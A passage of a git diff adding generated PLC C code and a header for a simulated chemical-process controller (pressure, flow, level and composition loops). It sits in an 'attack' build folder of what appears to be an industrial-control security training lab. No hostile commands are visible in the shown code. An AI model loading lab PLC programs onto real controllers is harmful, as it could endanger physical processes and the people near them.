__INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} 